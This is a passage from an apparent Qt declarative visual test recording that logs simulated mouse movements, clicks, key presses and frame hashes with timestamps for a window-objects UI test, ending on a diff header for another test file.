Mouse { - type: 5 - button: 0 - buttons: 0 - x: 82; y: 169 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 80; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2336 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 78; y: 183 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 74; y: 189 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2352 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 72; y: 195 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 68; y: 201 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2368 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 64; y: 207 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 213 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2384 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 61; y: 215 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 59; y: 221 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2400 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 58; y: 222 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 57; y: 224 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2416 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2432 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2448 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2464 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2480 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2496 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2512 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2528 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2544 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2560 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2576 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2592 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2608 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2624 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2640 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2656 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2672 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2688 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2704 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2720 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2736 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 49; y: 225 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 50; y: 224 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2752 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 50; y: 223 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2768 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 51; y: 222 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2784 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 51; y: 221 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 52; y: 220 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2800 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 52; y: 218 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2816 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 53; y: 217 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2832 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2848 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2864 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 54; y: 216 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2880 - image: "windowObjects.2.png" - } - Frame { - msec: 2896 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 55; y: 215 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2912 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2928 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 56; y: 214 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2944 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2960 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 2976 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 57; y: 214 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 57; y: 214 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 2992 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3008 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3024 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3040 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3056 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3072 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3088 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3104 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 57; y: 214 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3120 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3136 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3152 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3168 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3184 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3200 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3216 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Frame { - msec: 3232 - hash: "6927f81ca01ef75d204994aa82c60c4d" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 3248 - hash: "2165224e8f66a797ae5c991462fb56d8" - } - Frame { - msec: 3264 - hash: "2165224e8f66a797ae5c991462fb56d8" - } - Frame { - msec: 3280 - hash: "2165224e8f66a797ae5c991462fb56d8" - } - Frame { - msec: 3296 - hash: "2165224e8f66a797ae5c991462fb56d8" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 3312 - hash: "2165224e8f66a797ae5c991462fb56d8" - } - Frame { - msec: 3328 - hash: "2165224e8f66a797ae5c991462fb56d8" - } - Frame { - msec: 3344 - hash: "2165224e8f66a797ae5c991462fb56d8" - } - Frame { - msec: 3360 - hash: "2165224e8f66a797ae5c991462fb56d8" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 57; y: 212 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3376 - hash: "2165224e8f66a797ae5c991462fb56d8" - } - Frame { - msec: 3392 - hash: "2165224e8f66a797ae5c991462fb56d8" - } - Frame { - msec: 3408 - hash: "2165224e8f66a797ae5c991462fb56d8" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 57; y: 211 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3424 - hash: "2165224e8f66a797ae5c991462fb56d8" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 3440 - hash: "c6ac7e0be8b7b2a80966344389def97a" - } - Frame { - msec: 3456 - hash: "c6ac7e0be8b7b2a80966344389def97a" - } - Frame { - msec: 3472 - hash: "c6ac7e0be8b7b2a80966344389def97a" - } - Frame { - msec: 3488 - hash: "40f333072bb9f1d334d5ae432d9641b9" - } - Frame { - msec: 3504 - hash: "40f333072bb9f1d334d5ae432d9641b9" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 3520 - hash: "40f333072bb9f1d334d5ae432d9641b9" - } - Frame { - msec: 3536 - hash: "40f333072bb9f1d334d5ae432d9641b9" - } - Frame { - msec: 3552 - hash: "40f333072bb9f1d334d5ae432d9641b9" - } - Frame { - msec: 3568 - hash: "40f333072bb9f1d334d5ae432d9641b9" - } - Frame { - msec: 3584 - hash: "40f333072bb9f1d334d5ae432d9641b9" - } - Frame { - msec: 3600 - hash: "40f333072bb9f1d334d5ae432d9641b9" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 58; y: 210 - modifiers: 0 - sendToViewport: true - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 3616 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 60; y: 209 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 61; y: 207 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3632 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 205 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3648 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 62; y: 204 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 63; y: 203 - modifiers: 0 - sendToViewport: true - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 3664 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 63; y: 202 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 64; y: 200 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3680 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Frame { - msec: 3696 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 65; y: 198 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 66; y: 197 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 67; y: 195 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3712 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 68; y: 194 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 69; y: 192 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3728 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 70; y: 190 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 70; y: 188 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3744 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 70; y: 186 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 70; y: 185 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3760 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 71; y: 183 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 71; y: 181 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3776 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 72; y: 179 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 73; y: 178 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3792 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 73; y: 176 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 73; y: 175 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3808 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 74; y: 174 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 74; y: 173 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3824 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 74; y: 172 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3840 - image: "windowObjects.3.png" - } - Frame { - msec: 3856 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Frame { - msec: 3872 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Frame { - msec: 3888 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Frame { - msec: 3904 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Frame { - msec: 3920 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 75; y: 171 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 76; y: 171 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 3936 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Frame { - msec: 3952 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Frame { - msec: 3968 - hash: "96f727ef0dacfda9ea77fb5651493030" - } - Frame { - msec: 3984 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Frame { - msec: 4000 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Frame { - msec: 4016 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Frame { - msec: 4032 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 76; y: 170 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4048 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 77; y: 169 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 78; y: 168 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4064 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 79; y: 168 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4080 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 81; y: 167 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 81; y: 166 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4096 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 82; y: 165 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4112 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 83; y: 164 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4128 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Frame { - msec: 4144 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Frame { - msec: 4160 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Frame { - msec: 4176 - hash: "ed7b3d93d690df73be5cbee8c41a1931" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 83; y: 164 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4192 - hash: "5b3505be865f704640e81cea092d35ba" - } - Frame { - msec: 4208 - hash: "5b3505be865f704640e81cea092d35ba" - } - Frame { - msec: 4224 - hash: "5b3505be865f704640e81cea092d35ba" - } - Frame { - msec: 4240 - hash: "5b3505be865f704640e81cea092d35ba" - } - Frame { - msec: 4256 - hash: "5b3505be865f704640e81cea092d35ba" - } - Frame { - msec: 4272 - hash: "5b3505be865f704640e81cea092d35ba" - } - Frame { - msec: 4288 - hash: "5b3505be865f704640e81cea092d35ba" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 83; y: 164 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4304 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4320 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4336 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4352 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4368 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4384 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4400 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4416 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4432 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4448 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4464 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 85; y: 158 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 85; y: 156 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4480 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 86; y: 154 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 86; y: 152 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4496 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 87; y: 150 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 89; y: 144 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4512 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 93; y: 138 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 99; y: 134 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4528 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 101; y: 128 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 105; y: 122 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4544 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 109; y: 114 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 113; y: 108 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4560 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 114; y: 106 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 114; y: 105 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4576 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 115; y: 104 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 115; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4592 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 115; y: 100 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 116; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4608 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 120; y: 92 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 122; y: 86 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4624 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 126; y: 76 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 130; y: 66 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4640 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 132; y: 56 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 134; y: 46 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4656 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 136; y: 38 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 138; y: 30 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4672 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 140; y: 22 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 141; y: 20 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4688 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 143; y: 14 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 144; y: 12 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4704 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 144; y: 11 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 144; y: 9 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4720 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 144; y: 7 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 144; y: 6 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4736 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 143; y: 4 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 143; y: 2 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4752 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 143; y: 1 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 4768 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4784 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4800 - image: "windowObjects.4.png" - } - Frame { - msec: 4816 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4832 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4848 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4864 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4880 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4896 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4912 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4928 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4944 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4960 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4976 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 4992 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5008 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5024 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5040 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5056 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5072 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5088 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5104 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5120 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5136 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5152 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5168 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5184 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5200 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5216 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5232 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5248 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5264 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5280 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5296 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5312 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5328 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5344 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5360 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5376 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5392 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5408 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5424 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5440 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5456 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5472 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5488 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5504 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5520 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5536 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5552 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5568 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } - Frame { - msec: 5584 - hash: "cb5a42e7ab70e05a8bbecabb587f9e5e" - } -} diff --git a/tests/auto/declarative/visual/webview/javascript/evaluateJavaScript.qml 